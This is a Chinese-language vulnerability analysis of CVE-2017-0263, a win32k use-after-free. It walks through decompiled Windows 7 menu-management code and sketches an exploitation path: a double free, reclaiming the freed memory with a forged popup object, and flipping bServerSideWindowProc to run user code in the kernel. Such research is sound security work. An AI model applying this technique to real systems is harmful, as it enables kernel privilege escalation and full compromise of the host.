CVE-2017-0263 是 Windows 操作系统 win32k 内核模块菜单管理组件中的一个 UAF(释放后重用)漏洞,据报道称该漏洞在之前与一个 EPS 漏洞被 APT28 组织组合攻击用来干涉法国大选。这篇文章将对用于这次攻击的样本的 CVE-2017-0263 漏洞部分进行一次简单的分析,以整理出该漏洞利用的运作原理和基本思路,并对 Windows 窗口管理器子系统的菜单管理组件进行简单的探究。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。

在本分析中为了突出分析的重点,在对涉及的各个系统函数进行分析时,将与当前漏洞研究无关的调用语句进行忽略,只留意影响或可能影响漏洞触发逻辑的调用和赋值语句并对其进行分析和解释。

0x0 前言

这篇文章分析了发生在窗口管理器(User)子系统的菜单管理组件中的 CVE-2017-0263 UAF(释放后重用)漏洞。在函数 win32k!xxxMNEndMenuState 中释放全局菜单状态对象的成员域 pGlobalPopupMenu 指向的根弹出菜单对象时,没有将该成员域置零,导致该成员域仍旧指向已被释放的内存区域成为野指针,在后续的代码逻辑中存在该成员域指向的内存被读写访问或被重复释放的可能性。

在释放成员域 pGlobalPopupMenu 指向对象之后,函数 xxxMNEndMenuState 还将当前线程关联的线程信息对象成员域 pMenuState 重置,这导致大部分追踪和操作弹出菜单的接口将无法达成漏洞触发的条件。但在重置成员域 pMenuState 之前,函数中存在对全局菜单状态对象的成员域 uButtonDownHitArea 的解锁和释放,这个成员域存储当前鼠标按下位置所属的窗口对象(如果当前存在鼠标按下状态)指针。

如果用户进程先前通过利用技巧构造了特殊关联和属性的菜单窗口对象,那么从函数 xxxMNEndMenuState 释放成员域 pGlobalPopupMenu 到重置成员域 pMenuState 之前的这段时间,执行流将回到用户进程中,用户进程中构造的利用代码将有足够的能力改变当前弹出菜单的状态,致使执行流重新执行 xxxMNEndMenuState 函数,并对根弹出菜单对象的内存进行重复释放,导致系统 BSOD 的发生。

在内核第一次释放成员域 pGlobalPopupMenu 指向内存之后执行流回到用户进程时,在用户进程中通过巧妙的内存布局,使系统重新分配相同大小的内存区域以占用成员域 pGlobalPopupMenu 指向的先前释放的内存块,伪造新的弹出菜单对象并构造相关成员域。借助代码逻辑,实现对特定窗口对象的成员标志位 bServerSideWindowProc 的修改,使系统能够在内核中直接执行位于用户进程地址空间中的自定义窗口消息处理函数,得以通过内核上下文执行用户进程构造的利用代码,实现内核提权的目的。

0x1 原理

CVE-2017-0263 漏洞存在于 win32k 的窗口管理器(User)子系统中的菜单管理组件中。在内核函数 xxxMNEndMenuState 释放目标 tagMENUSTATE 结构体对象的成员域 pGlobalPopupMenu 指向对象的内存时,没有将该成员域置为空值。

win32k 模块中存在定义为 tagMENUSTATE 结构体类型的菜单状态 gMenuState 全局对象。在当前的操作系统环境下,该结构体的定义如下:

kd> dt win32k!tagMENUSTATE
   +0x000 pGlobalPopupMenu : Ptr32 tagPOPUPMENU
   +0x004 flags            : Int4B
   +0x008 ptMouseLast      : tagPOINT
   +0x010 mnFocus          : Int4B
   +0x014 cmdLast          : Int4B
   +0x018 ptiMenuStateOwner : Ptr32 tagTHREADINFO
   +0x01c dwLockCount      : Uint4B
   +0x020 pmnsPrev         : Ptr32 tagMENUSTATE
   +0x024 ptButtonDown     : tagPOINT
   +0x02c uButtonDownHitArea : Uint4B
   +0x030 uButtonDownIndex : Uint4B
   +0x034 vkButtonDown     : Int4B
   +0x038 uDraggingHitArea : Uint4B
   +0x03c uDraggingIndex   : Uint4B
   +0x040 uDraggingFlags   : Uint4B
   +0x044 hdcWndAni        : Ptr32 HDC__
   +0x048 dwAniStartTime   : Uint4B
   +0x04c ixAni            : Int4B
   +0x050 iyAni            : Int4B
   +0x054 cxAni            : Int4B
   +0x058 cyAni            : Int4B
   +0x05c hbmAni           : Ptr32 HBITMAP__
   +0x060 hdcAni           : Ptr32 HDC__

结构体 tagMENUSTATE 的定义

菜单管理是 win32k 中最复杂的组件之一,菜单处理作为一个整体依赖于多种十分复杂的函数和结构体。例如,在创建弹出菜单时,应用程序调用 TrackPopupMenuEx 在菜单内容显示的位置创建菜单类的窗口。接着该菜单窗口通过一个系统定义的菜单窗口类过程 xxxMenuWindowProc 处理消息输入,用以处理各种菜单特有的信息。此外,为了追踪菜单如何被使用,win32k 也将一个菜单状态结构体 tagMENUSTATE 与当前活跃菜单关联起来。通过这种方式,函数能够知道菜单是否在拖拽操作中调用、是否在菜单循环中、是否即将销毁,等等。

菜单状态结构体用来存储与当前活跃菜单的状态相关的详细信息,包括上下文菜单弹出的坐标、关联的位图表面对象的指针、窗口设备上下文对象、之前的上下文菜单结构体的指针,以及其他的一些成员域。

在线程信息结构体 tagTHREADINFO 中也存在一个指向菜单状态结构体指针的 pMenuState 成员域:

kd> dt win32k!tagTHREADINFO -d pMenuState
   +0x104 pMenuState : Ptr32 tagMENUSTATE

结构体 tagTHREADINFO 存在 pMenuState 成员域

当用户在操作系统中以点击鼠标右键或其他的方式弹出上下文菜单时,系统最终在内核中执行到 xxxTrackPopupMenuEx 函数。该函数调用 xxxMNAllocMenuState 函数来分配或初始化菜单状态结构体。

在函数 xxxMNAllocMenuState 中,系统将全局菜单状态对象 gMenuState 的所有成员域清空并对部分成员域进行初始化,然后将全局菜单状态对象的地址存储在当前线程信息对象的成员域 pMenuState 中。

  menuState = (tagMENUSTATE *)&gMenuState;
  [...]
  memset(menuState, 0, 0x60u);
  menuState->pGlobalPopupMenu = popupMenuRoot;
  menuState->ptiMenuStateOwner = ptiCurrent;
  menuState->pmnsPrev = ptiCurrent->pMenuState;
  ptiCurrent->pMenuState = menuState;
  if ( ptiNotify != ptiCurrent )
    ptiNotify->pMenuState = menuState;
  [...]
  return menuState;

函数 xxxMNAllocMenuState 的代码片段

函数初始化了菜单状态结构体中的 pGlobalPopupMenu / ptiMenuStateOwnerpmnsPrev 成员。成员域 pGlobalPopupMenu 指针指向通过参数传入作为根菜单的弹出菜单结构体 tagPOPUPMENU 对象。弹出菜单结构体存储关联的弹出菜单相关的各个内核对象的指针,与对应的菜单窗口对象关联,其结构体定义如下:

kd> dt win32k!tagPOPUPMENU
   +0x000 flags            : Int4B
   +0x004 spwndNotify      : Ptr32 tagWND
   +0x008 spwndPopupMenu   : Ptr32 tagWND
   +0x00c spwndNextPopup   : Ptr32 tagWND
   +0x010 spwndPrevPopup   : Ptr32 tagWND
   +0x014 spmenu           : Ptr32 tagMENU
   +0x018 spmenuAlternate  : Ptr32 tagMENU
   +0x01c spwndActivePopup : Ptr32 tagWND
   +0x020 ppopupmenuRoot   : Ptr32 tagPOPUPMENU
   +0x024 ppmDelayedFree   : Ptr32 tagPOPUPMENU
   +0x028 posSelectedItem  : Uint4B
   +0x02c posDropped       : Uint4B

结构体 tagPOPUPMENU 的定义

菜单状态结构体对象的成员域 ptiMenuStateOwner 指向当前线程的线程信息结构体对象。线程信息结构体对象中已存在的菜单状态结构体指针被存储在当前菜单状态结构体对象的 pmnsPrev 成员域中。

随后函数将菜单状态结构体的地址放置在通过参数传入的当前线程(和通知线程)的线程信息结构体 tagTHREADINFO 对象的成员域 pMenuState 中,并将菜单状态结构体的地址作为返回值返回给上级调用者函数。


当前线程信息对象和菜单状态对象的对应关系


当用户通过键鼠选择菜单项、或点击菜单范围之外的屏幕区域时,系统将向当前上下文菜单的窗口对象发送相关鼠标按下或菜单终止的事件消息。在菜单对象的类型为模态的情况下,这导致之前调用 xxxMNLoop 函数的线程退出菜单循环等待状态,使函数继续向后执行。

系统调用 xxxMNEndMenuState 函数来清理菜单状态结构体存储的信息与释放相关的弹出菜单对象和窗口对象。

  ptiCurrent = gptiCurrent;
  menuState = gptiCurrent->pMenuState;
  if ( !menuState->dwLockCount )
  {
    MNEndMenuStateNotify(gptiCurrent->pMenuState);
    if ( menuState->pGlobalPopupMenu )
    {
      if ( fFreePopup )
        MNFreePopup(menuState->pGlobalPopupMenu);
      else
        *(_DWORD *)menuState->pGlobalPopupMenu &= 0xFFFEFFFF;
    }
    UnlockMFMWFPWindow(&menuState->uButtonDownHitArea);
    UnlockMFMWFPWindow(&menuState->uDraggingHitArea);
    ptiCurrent->pMenuState = menuState->pmnsPrev;
    [...]
  }

函数 xxxMNEndMenuState 的代码片段

在函数 xxxMNEndMenuState 中,系统从当前线程的线程信息对象中获取 pMenuState 成员域指向的菜单状态结构体对象。随后函数判断菜单状态结构体对象的成员域 pGlobalPopupMenu 是否为空,不为空则调用函数 MNFreePopup 释放该成员域指向的弹出菜单 tagPOPUPMENU 对象。在执行相应的预处理之后,函数 MNFreePopup 调用 ExFreePoolWithTag 释放传入的 tagPOPUPMENU 对象缓冲区。

  if ( popupMenu == popupMenu->ppopupmenuRoot )
    MNFlushDestroyedPopups(popupMenu, 1);
  pwnd = popupMenu->spwndPopupMenu;
  if ( pwnd && (pwnd->fnid & 0x3FFF) == 0x29C && popupMenu != &gpopupMenu )
    *((_DWORD *)pwnd + 0x2C) = 0;
  HMAssignmentUnlock(&popupMenu->spwndPopupMenu);
  HMAssignmentUnlock(&popupMenu->spwndNextPopup);
  HMAssignmentUnlock(&popupMenu->spwndPrevPopup);
  UnlockPopupMenu(popupMenu, &popupMenu->spmenu);
  UnlockPopupMenu(popupMenu, &popupMenu->spmenuAlternate);
  HMAssignmentUnlock(&popupMenu->spwndNotify);
  HMAssignmentUnlock(&popupMenu->spwndActivePopup);
  if ( popupMenu == &gpopupMenu )
    gdwPUDFlags &= 0xFF7FFFFF;
  else
    ExFreePoolWithTag(popupMenu, 0);

函数 MNFreePopup 的代码片段

这时问题就出现了:函数 xxxMNEndMenuState 在将菜单状态结构体对象的成员域 pGlobalPopupMenu 指向的弹出菜单对象释放之后,却没有将该成员域置为空值,这将导致该成员域指向的内存地址处于不可控的状态,并导致被复用的潜在问题。

0x2 追踪

user32.dll 模块中存在导出函数 TrackPopupMenuEx 用于在屏幕指定位置显示弹出菜单并追踪选择的菜单项。当用户进程调用该函数时,系统在内核中最终调用到 xxxTrackPopupMenuEx 函数处理弹出菜单操作。


菜单的对象

在本分析中将涉及到与菜单相关的对象:菜单对象,菜单窗口对象和弹出菜单对象。

其中,菜单对象是菜单的实体,在内核中以结构体 tagMENU 实例的形式存在,用来描述菜单实体的菜单项、项数、大小等静态信息,但其本身并不负责菜单在屏幕中的显示,当用户进程调用 CreateMenu 等接口函数时系统在内核中创建菜单对象,当调用函数 DestroyMenu 或进程结束时菜单对象被销毁。

当需要在屏幕中的位置显示某菜单时,例如,用户在某窗口区域点击鼠标右键,在内核中系统将调用相关服务函数根据目标菜单对象创建对应的类型为 MENUCLASS 的菜单窗口对象。菜单窗口对象是窗口结构体 tagWND 对象的特殊类型,通常以结构体 tagMENUWND 的形式表示,负责描述菜单在屏幕中的显示位置、样式等动态信息,其扩展区域关联对应的弹出菜单对象。

弹出菜单对象 tagPOPUPMENU 作为菜单窗口对象的扩展对象,用来描述所代表的菜单的弹出状态,以及与菜单窗口对象、菜单对象、子菜单或父级菜单的菜单窗口对象等用户对象相互关联。

当某个菜单在屏幕中弹出时,菜单窗口对象和关联的弹出菜单对象被创建,当菜单被选择或取消时,该菜单将不再需要在屏幕中显示,此时系统将在适当时机销毁菜单窗口对象和弹出菜单对象。


弹出菜单

内核函数 xxxTrackPopupMenuEx 负责菜单的弹出和追踪。在该函数执行期间,系统调用 xxxCreateWindowEx 函数为即将被显示的菜单对象创建关联的类名称为 #32768(MENUCLASS) 的菜单窗口对象。类型为 MENUCLASS 的窗口对象通常用 tagMENUWND 结构体表示,这类窗口对象在紧随基础的 tagWND 对象其后的位置存在 1 个指针长度的扩展区域,用来存储指向关联的 tagPOPUPMENU 对象指针。

pwndHierarchy = xxxCreateWindowEx(
    0x181,
    0x8000, // MENUCLASS
    0x8000, // MENUCLASS
    0,
    0x80800000,
    xLeft,
    yTop,
    100,
    100,
    (pMenu->fFlags & 0x40000000) != 0 ? pwndOwner : 0, // MNS_MODELESS
    0,
    pwndOwner->hModule,
    0,
    0x601u,
    0);

函数 xxxTrackPopupMenuEx 创建 MENUCLASS 窗口对象

在函数 xxxCreateWindowEx 中分配窗口对象后,函数向该对象发送 WM_NCCREATE 等事件消息,并调用窗口对象指定的消息处理程序。类型为 MENUCLASS 的窗口对象指定的的消息处理程序是 xxxMenuWindowProc 内核函数。处理 WM_NCCREATE 消息时,函数创建并初始化与窗口对象关联的弹出菜单信息结构体 tagPOPUPMENU 对象,将菜单窗口 tagMENUWND 对象指针放入 tagPOPUPMENU->spwndPopupMenu 成员域中,并将弹出菜单 tagPOPUPMENU 对象指针放入关联窗口 tagMENUWND 对象末尾的指针长度的扩展区域中。


结构体 tagMENUWND 和 tagPOPUPMENU 对象的对应关系

在通过函数 xxxSendMessageTimeout 向窗口对象发送 WM_NCCREATE 等事件消息时,系统在调用对象指定的消息处理程序之前,还会调用 xxxCallHook 函数用来调用先前由用户进程设定的 WH_CALLWNDPROC 类型的挂钩处理程序。设置这种类型的挂钩会在每次线程将消息发送给窗口对象之前调用。

if ( (LOBYTE(gptiCurrent->fsHooks) | LOBYTE(gptiCurrent->pDeskInfo->fsHooks)) & 0x20 )
{
  v22 = pwnd->head.h;
  v20 = wParam;
  v19 = lParam;
  v21 = message;
  v23 = 0;
  xxxCallHook(0, 0, &v19, 4); // WH_CALLWNDPROC
}

函数 xxxSendMessageTimeout 调用 xxxCallHook 函数

接下来函数 xxxTrackPopupMenuEx 调用 xxxMNAllocMenuState 来初始化菜单状态结构体的各个成员域,并将前面创建的弹出菜单 tagPOPUPMENU 对象作为当前的根弹出菜单对象,其指针被放置在菜单状态结构体的成员域 pGlobalPopupMenu 中。

menuState = xxxMNAllocMenuState(ptiCurrent, ptiNotify, popupMenu);

函数 xxxTrackPopupMenuEx 初始化菜单状态结构体

接下来函数调用 xxxSetWindowPos 函数以设置目标菜单窗口在屏幕中的位置并将其显示在屏幕中。在函数 xxxSetWindowPos 执行期间,相关窗口位置和状态已完成改变之后,系统在函数 xxxEndDeferWindowPosEx 中调用 xxxSendChangedMsgs 以发送窗口位置已改变的消息。

  xxxSetWindowPos(
    pwndHierarchy,
    (((*((_WORD *)menuState + 2) >> 8) & 1) != 0) - 1,
    xLParam,
    yLParam,
    0,
    0,
    ~(0x10 * (*((_WORD *)menuState + 2) >> 8)) & 0x10 | 0x241);

函数 xxxTrackPopupMenuEx 显示根菜单窗口对象

在函数 xxxSendChangedMsgs 中,系统根据设置的 SWP_SHOWWINDOW 状态标志,为当前的目标菜单窗口对象创建并添加关联的阴影窗口对象。两个窗口对象的关联关系在函数 xxxAddShadow 中被添加到 gpshadowFirst 阴影窗口关联表中。

从函数 xxxSetWindowPos 中返回后,函数 xxxTrackPopupMenuEx 调用 xxxWindowEvent 函数以发送代表“菜单弹出开始”的 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。

xxxWindowEvent(6u, pwndHierarchy, 0xFFFFFFFC, 0, 0);

函数 xxxTrackPopupMenuEx 发送菜单弹出开始的事件通知

如果先前在用户进程中设置了包含这种类型事件通知范围的窗口事件通知处理函数,那么系统将在线程消息循环处理期间分发调用这些通知处理函数。

接下来菜单对象类型为模态的情况下线程将会进入菜单消息循环等待状态,而非模态的情况将会返回。

一图以蔽之:


函数 xxxTrackPopupMenuEx 的简略执行流


bServerSideWindowProc

窗口结构体 tagWND 对象的成员标志位 bServerSideWindowProc 是一个特殊标志位,该标志位决定所属窗口对象的消息处理函数属于服务端还是客户端。当函数 xxxSendMessageTimeout 即将调用目标窗口对象的消息处理函数以分发消息时,会判断该标志位是否置位。

  if ( *((_BYTE *)&pwnd->1 + 2) & 4 ) // bServerSideWindowProc
  {
    IoGetStackLimits(&uTimeout, &fuFlags);
    if ( &fuFlags - uTimeout < 0x1000 )
      return 0;
    lRet = pwnd->lpfnWndProc(pwnd, message, wParam, lParam);
    if ( !lpdwResult )
      return lRet;
    *(_DWORD *)lpdwResult = lRet;
  }
  else
  {
    xxxSendMessageToClient(pwnd, message, wParam, lParam, 0, 0, &fuFlags);
    [...]
  }

函数 xxxSendMessageTimeout 执行窗口对象消息处理函数的逻辑

如果该标志位置位,则函数将直接使当前线程在内核上下文调用目标窗口对象的消息处理函数;否则,函数通过调用函数 xxxSendMessageToClient 将消息发送到客户端进行处理,目标窗口对象的消息处理函数将始终在用户上下文调用和执行。

诸如菜单窗口对象之类的特殊窗口对象拥有专门的内核模式消息处理函数,因此这些窗口对象的成员标志位 bServerSideWindowProc 在对象创建时就被置位。而普通窗口对象由于只指向默认消息处理函数或用户进程自定义的消息处理函数,因此该标志位往往不被置位。

如果能够通过某种方式将未置位标志位 bServerSideWindowProc 的窗口对象的该标志位置位,那么该窗口对象指向的消息处理函数也将直接在内核上下文中执行。


阴影窗口

在 Windows XP 及更高系统的 win32k 内核模块中,系统为所有带有 CS_DROPSHADOW 标志的窗口对象创建并关联对应的类名称为 SysShadow 的阴影窗口对象,用来渲染原窗口的阴影效果。内核中存在全局表 win32k!gpshadowFirst 用以记录所有阴影窗口对象与原窗口对象的关联关系。函数 xxxAddShadow 用来为指定的窗口创建阴影窗口对象,并将对应关系写入 gpshadowFirst 全局表中。

全局表 gpshadowFirst 以链表的形式保存阴影窗口的对应关系。链表的每个节点存储 3 个指针长度的成员域,分别存储原窗口和阴影窗口的对象指针,以及下一个链表节点的指针。每个新添加的关系节点将始终位于链表的首个节点位置,其地址被保存在 gpshadowFirst 全局变量中。


全局变量 gpshadowFirst 指向阴影窗口关联链表

相应地,当阴影窗口不再需要时,系统调用 xxxRemoveShadow 来将指定窗口的阴影窗口关联关系移除并销毁该阴影窗口对象,函数根据通过参数传入的原窗口对象的指针在链表中查找第一个匹配的链表节点,从链表中取出节点并释放节点内存缓冲区、销毁阴影窗口对象。


子菜单

如果当前在屏幕中显示的菜单中存在子菜单项,那么当用户通过鼠标按键点击等方式选择子菜单项时,系统向子菜单项所属的菜单窗口对象发送 WM_LBUTTONDOWN 鼠标左键按下的消息。如果菜单为非模态(MODELESS)类型,内核函数 xxxMenuWindowProc 接收该消息并传递给 xxxCallHandleMenuMessages 函数。

函数 xxxCallHandleMenuMessages 负责像模态弹出菜单的消息循环那样处理非模态弹出菜单对象的消息。在函数中,系统根据通过参数 lParam 传入的相对坐标和当前窗口在屏幕上的坐标来计算鼠标点击的实际坐标,并向下调用 xxxHandleMenuMessages 函数。

函数将计算的实际坐标点传入 xxxMNFindWindowFromPoint 函数查找坐标点坐落的在屏幕中显示的窗口,并将查找到的窗口对象指针写入菜单状态结构体的成员域 uButtonDownHitArea 中。当该值确实是(菜单)窗口对象时,函数向该窗口对象发送 MN_BUTTONDOWN 鼠标按下的消息。

接着执行流又进入函数 xxxMenuWindowProc 并调用函数 xxxMNButtonDown 以处理 MN_BUTTONDOWN 消息。

case 0x1EDu:
  if ( wParam < pmenu->cItems || wParam >= 0xFFFFFFFC )
    xxxMNButtonDown(popupMenu, menuState, wParam, 1);
  return 0;

函数 xxxMenuWindowProc 调用 xxxMNButtonDown 函数

函数 xxxMNButtonDown 调用 xxxMNSelectItem 函数以根据鼠标按下区域选择菜单项并存储在当前弹出菜单对象的成员域 posSelectedItem 中,随后调用函数 xxxMNOpenHierarchy 以打开新弹出的菜单。

在函数 xxxMNOpenHierarchy 执行期间,系统调用函数 xxxCreateWindowEx 创建新的类名称为 MENUCLASS 的子菜单窗口对象,并将新创建的子菜单窗口对象关联的弹出菜单结构体 tagPOPUPMENU 对象插入弹出菜单对象延迟释放链表中。

函数将新分配的子菜单窗口对象指针写入当前菜单窗口对象关联的弹出菜单信息结构体 tagPOPUPMENU 对象的成员域 spwndNextPopup 中,并将当前菜单窗口对象指针写入新分配的菜单窗口对象关联的 tagPOPUPMENU 对象的成员域 spwndPrevPopup 中,使新创建的弹出菜单对象成为当前菜单对象的子菜单。


新创建的子菜单窗口和原菜单窗口 tagMENUWND 对象的对应关系

函数将当前菜单窗口对象的弹出菜单信息结构体 tagPOPUPMENU 对象的标志成员域 fHierarchyDropped 标志置位,这个标志位表示当前菜单对象已弹出子菜单。

接下来函数调用 xxxSetWindowPos 以设置新的菜单窗口在屏幕中的位置并将其显示在屏幕中,并调用函数 xxxWindowEvent 发送 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。新菜单窗口对象对应的阴影窗口会在这次调用 xxxSetWindowPos 期间创建并与菜单窗口对象关联。

简要执行流如下:


点击子菜单项以弹出子菜单时的简要执行流


终止菜单

在用户进程中可以通过多种接口途径触达 xxxMNEndMenuState 函数调用,例如向目标菜单的窗口对象发送 MN_ENDMENU 消息,或调用 NtUserMNDragLeave 系统服务等。

当某调用者向目标菜单窗口对象发送 MN_ENDMENU 消息时,系统在菜单窗口消息处理函数 xxxMenuWindowProc 中调用函数 xxxEndMenuLoop 并传入当前线程关联的菜单状态结构体对象和其成员域 pGlobalPopupMenu 指向的根弹出菜单对象指针作为参数以确保完整的菜单对象被终止或取消。如果菜单对象是非模态类型的,那么函数接下来在当前上下文调用函数 xxxMNEndMenuState 清理菜单状态信息并释放相关对象。

  menuState = pwnd->head.pti->pMenuState;
  [...]
LABEL_227: // EndMenu
  xxxEndMenuLoop(menuState, menuState->pGlobalPopupMenu);
  if ( menuState->flags & 0x100 )
    xxxMNEndMenuState(1);
  return 0;

函数 xxxMenuWindowProc 处理 MN_ENDMENU 消息

函数 xxxEndMenuLoop 执行期间,系统调用 xxxMNDismiss 并最终调用到 xxxMNCancel 函数来执行菜单取消的操作。

int __stdcall xxxMNDismiss(tagMENUSTATE *menuState)
{
  return xxxMNCancel(menuState, 0, 0, 0);
}

函数 xxxMNDismiss 调用 xxxMNCancel 函数

函数 xxxMNCancel 调用 xxxMNCloseHierarchy 函数来关闭当前菜单对象的菜单层叠状态。

popupMenu = pMenuState->pGlobalPopupMenu;
[...]
xxxMNCloseHierarchy(popupMenu, pMenuState);

函数 xxxMNCancel 调用 xxxMNCloseHierarchy 函数

函数 xxxMNCloseHierarchy 判断当前通过参数传入的弹出菜单 tagPOPUPMENU 对象成员域 fHierarchyDropped 标志位是否置位,如果未被置位则表示当前弹出菜单对象不存在任何弹出的子菜单,那么系统将使当前函数直接返回。

接下来函数 xxxMNCloseHierarchy 获取当前弹出菜单对象的成员域 spwndNextPopup 存储的指针,该指针指向当前弹出菜单对象所弹出的子菜单的窗口对象。函数通过 xxxSendMessage 函数调用向该菜单窗口对象发送 MN_CLOSEHIERARCHY 消息,最终在消息处理函数 xxxMenuWindowProc 中接收该消息并对目标窗口对象关联的弹出菜单对象调用 xxxMNCloseHierarchy 以处理关闭子菜单的菜单对象菜单层叠状态的任务。

  popupMenu = *(tagPOPUPMENU **)((_BYTE *)pwnd + 0xb0);
  menuState = pwnd->head.pti->pMenuState;
  [...]
case 0x1E4u:
  xxxMNCloseHierarchy(popupMenu, menuState);
  return 0;

函数 xxxMenuWindowProc 处理 MN_CLOSEHIERARCHY 消息

函数 xxxSendMessage 返回之后,接着函数 xxxMNCloseHierarchy 调用 xxxDestroyWindow 函数以尝试销毁弹出的子菜单的窗口对象。需要注意的是,这里尝试销毁的是弹出的子菜单的窗口对象,而不是当前菜单的窗口对象。

在函数 xxxDestroyWindow 执行期间,系统调用函数 xxxSetWindowPos 以隐藏目标菜单窗口对象在屏幕中的显示。

dwFlags = 0x97;
if ( fAlreadyDestroyed )
  dwFlags = 0x2097;
xxxSetWindowPos(pwnd, 0, 0, 0, 0, 0, dwFlags);

函数 xxxDestroyWindow 隐藏目标窗口对象的显示

在函数 xxxSetWindowPos 执行后期,与当初创建菜单窗口对象时相对应地,系统调用函数 xxxSendChangedMsgs 发送窗口位置已改变的消息。在该函数中,系统根据设置的 SWP_HIDEWINDOW 状态标志,通过调用函数 xxxRemoveShadowgpshadowFirst 阴影窗口关联表中查找第一个与目标菜单窗口对象关联的阴影窗口关系节点,从链表中移除查找到的关系节点并销毁该阴影窗口对象。

接下来执行流从函数 xxxDestroyWindow 中进入函数 xxxFreeWindow 以执行对目标窗口对象的后续销毁操作。

函数根据目标窗口对象的成员域 fnid 的值调用对应的消息处理包装函数 xxxWrapMenuWindowProc 并传入 WM_FINALDESTROY 消息参数,最终在函数 xxxMenuWindowProc 中接收该消息并通过调用函数 xxxMNDestroyHandler 对目标弹出菜单对象执行清理相关数据的任务。在该函数中,目标弹出菜单对象的成员标志位 fDestroyed 和根弹出菜单对象的成员标志位 fFlushDelayedFree 被置位:

*(_DWORD *)popupMenu |= 0x8000u;
[...]
if ( *((_BYTE *)popupMenu + 2) & 1 )
{
  popupMenuRoot = popupMenu->ppopupmenuRoot;
  if ( popupMenuRoot )
    *(_DWORD *)popupMenuRoot |= 0x20000u;
}

函数 xxxMNDestroyHandler 置位相关成员标志位

接着函数 xxxFreeWindow 对目标窗口对象再次调用函数 xxxRemoveShadow 以移除其阴影窗口对象的关联。如果先前已将目标窗口对象的所有阴影窗口关联移除,则函数 xxxRemoveShadow 将在关系表中无法查找到对应的关联节点而直接返回。

if ( pwnd->pcls->atomClassName == gatomShadow )
  CleanupShadow(pwnd);
else
  xxxRemoveShadow(pwnd);

函数 xxxFreeWindow 再次移除阴影窗口对象

函数在执行一些对象的释放操作和解除锁定操作之后向上级调用者函数返回。此时由于锁计数尚未归零,因此目标窗口对象仍旧存在于内核中并等待后续的操作。

函数 xxxDestroyWindow 返回后,执行流回到函数 xxxMNCloseHierarchy 中。接着函数对当前弹出菜单对象的成员域 spwndNextPopup 指向的子菜单窗口对象解锁并将成员域置空,然后将当前弹出菜单对象关联的菜单窗口对象带赋值锁地赋值给根弹出菜单对象的成员域 spwndActivePopup 中使当前窗口对象成为的活跃弹出菜单窗口对象,这导致原本锁定在成员域 spwndActivePopup 中的子菜单窗口对象解锁并使其锁计数继续减小。

HMAssignmentLock(
  (_HEAD **)&popupMenu->ppopupmenuRoot->spwndActivePopup,
  (_HEAD *)popupMenu->spwndPopupMenu);

函数 xxxMNCloseHierarchy 使当前窗口对象成为的活跃弹出菜单窗口对象

执行流从函数 xxxMNCloseHierarchy 返回到函数 xxxMNCancel 中,系统根据当前弹出菜单对象的成员标志位 fIsTrackPopup 选择调用 xxxDestroyWindow 以尝试销毁当前的菜单窗口对象。弹出菜单结构体的该成员标志位只在最开始通过函数 xxxTrackPopupMenuEx 创建根菜单窗口对象时对关联的弹出菜单对象置位。

接下来执行流返回到函数 xxxMenuWindowProc 中,函数对非模态类型的菜单对象调用 xxxMNEndMenuState 以清理菜单状态信息并释放相关对象。


菜单选择或取消时的简要执行流


弹出菜单对象延迟释放链表

在弹出菜单结构体 tagPOPUPMENU 中存在成员域 ppmDelayedFree,该成员域用来将所有被标记为延迟释放状态的弹出菜单对象连接起来,以便在菜单的弹出状态终止时将所有弹出菜单对象统一销毁。

线程关联的菜单状态 tagMENUSTATE 对象的成员域 pGlobalPopupMenu 指向的是根弹出菜单对象,根弹出菜单对象的成员域 ppmDelayedFree 作为弹出菜单对象延迟释放链表的入口,指向链表的第一个节点。后续的每个被指向的弹出菜单对象的成员域 ppmDelayedFree 将指向下一个链表节点对象。

在函数 xxxMNOpenHierarchy 中,函数将新创建的子菜单窗口对象关联的弹出菜单结构体 tagPOPUPMENU 对象插入弹出菜单对象延迟释放链表。新的弹出菜单对象被放置在链表的起始节点位置,其地址被存储在根弹出菜单对象的成员域 ppmDelayedFree 中,而原本存储于根弹出菜单成员域 ppmDelayedFree 中的地址被存储在新的弹出菜单对象的成员域 ppmDelayedFree 中。


新的弹出菜单对象被插入弹出菜单对象延迟释放链表


xxxMNEndMenuState

在函数 xxxMNEndMenuState 执行时,系统调用函数 MNFreePopup 来释放由当前菜单状态 tagMENUSTATE 对象的成员域 pGlobalPopupMenu 指向的根弹出菜单对象。

函数 MNFreePopup 在一开始判断通过参数传入的目标弹出菜单对象是否为当前的根弹出菜单对象,如果是则调用函数 MNFlushDestroyedPopups 以遍历并释放其成员域 ppmDelayedFree 指向的弹出菜单对象延迟释放链表中的各个弹出菜单对象。

函数 MNFlushDestroyedPopups 遍历链表中的每个弹出菜单对象,并为每个标记了标志位 fDestroyed 的对象调用 MNFreePopup 函数。标志位 fDestroyed 当初在调用函数 xxxMNDestroyHandler 时被置位。

ppmDestroyed = popupMenu;
for ( i = &popupMenu->ppmDelayedFree; *i; i = &ppmDestroyed->ppmDelayedFree )
{
  ppmFree = *i;
  if ( *(_DWORD *)*i & 0x8000 )
  {
    ppmFree = *i;
    *i = ppmFree->ppmDelayedFree;
    MNFreePopup(ppmFree);
  }
  [...]
}

函数 MNFlushDestroyedPopups 遍历延迟释放链表

在函数 MNFlushDestroyedPopups 返回之后,函数 MNFreePopup 调用 HMAssignmentUnlock 函数解除 spwndPopupMenu 等各个窗口对象成员域的赋值锁。

在 Windows 内核中,所有的窗口对象起始位置存在成员结构体 HEAD 对象,该结构体存储句柄值(h)的副本,以及锁计数(cLockObj),每当对象被使用时其值增加;当对象不再被特定的组件使用时,它的锁计数减小。在锁计数达到零的时候,窗口管理器知道该对象不再被系统使用然后将其释放。

函数 HMAssignmentUnlock 被用来解除先前针对指定对象的实施的带赋值锁的引用,并减小目标对象的锁计数。当目标对象的锁计数减小到 0 时,系统将调用函数 HMUnlockObjectInternal 销毁该对象。

bToFree = head->cLockObj == 1;
--head->cLockObj;
if ( bToFree )
  head = HMUnlockObjectInternal(head);
return head;

函数 HMUnlockObject 判断需要销毁的目标对象

函数 HMUnlockObjectInternal 通过目标对象的句柄在全局共享信息结构体 gSharedInfo 对象的成员域 aheList 指向的会话句柄表中找到该对象的句柄表项,然后通过在句柄表项中存储的句柄类型在函数 HMDestroyUnlockedObject 中调用索引在全局句柄类型信息数组 gahti 中的对象销毁函数。如果当前被销毁的目标对象类型是窗口对象,这将调用到内核函数 xxxDestroyWindow 中。

